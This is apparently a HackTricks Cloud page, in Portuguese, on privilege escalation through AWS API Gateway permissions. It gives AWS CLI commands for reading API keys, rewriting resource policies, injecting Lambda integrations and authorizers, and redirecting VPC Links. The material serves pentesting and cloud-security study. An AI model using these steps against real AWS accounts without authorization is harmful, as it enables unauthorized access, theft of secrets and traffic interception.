AWS - Apigateway Privesc
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Apigateway
Para mais informações consulte:
apigateway:POST
Com essa permissão você pode gerar API keys das APIs configuradas (por região).
aws --region <region> apigateway create-api-key
Impacto Potencial: Você não pode privesc com esta técnica, mas pode obter acesso a informações sensíveis.
apigateway:GET
Com esta permissão você pode obter chaves de API geradas das APIs configuradas (por região).
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value
Impacto potencial: Você não pode privesc com esta técnica, mas pode obter acesso a informações sensíveis.
apigateway:UpdateRestApiPolicy, apigateway:PATCH
Com essas permissões é possível modificar a política de recurso de uma API para conceder a si mesmo permissão para chamá-la e abusar de qualquer acesso potencial que o API gateway possa ter (como invocar uma lambda vulnerável).
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
Potential Impact: Normalmente, você não conseguirá privesc diretamente com esta técnica, mas pode obter acesso a informações sensíveis.
apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole
note
Precisa de testes
Um atacante com as permissões apigateway:PutIntegration, apigateway:CreateDeployment e iam:PassRole pode adicionar uma nova integração a uma API Gateway REST API existente com uma função Lambda que tenha uma IAM role anexada. O atacante pode então acionar a função Lambda para executar código arbitrário e potencialmente obter acesso aos recursos associados à IAM role.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"
# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impacto Potencial: Acesso a recursos associados ao IAM role da função Lambda.
apigateway:UpdateAuthorizer, apigateway:CreateDeployment
note
Necessita de testes
Um atacante com as permissões apigateway:UpdateAuthorizer e apigateway:CreateDeployment pode modificar um authorizer existente do API Gateway para contornar verificações de segurança ou para executar código arbitrário quando solicitações à API forem feitas.
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Impacto Potencial: Contornar verificações de segurança, acesso não autorizado a recursos de API.
apigateway:UpdateVpcLink
note
Precisa de testes
Um atacante com a permissão apigateway:UpdateVpcLink pode modificar um VPC Link existente para apontar para um Network Load Balancer diferente, potencialmente redirecionando o tráfego de API privado para recursos não autorizados ou maliciosos.
VPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
Impacto Potencial: Acesso não autorizado a recursos privados de API, interceptação ou interrupção do tráfego da API.
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud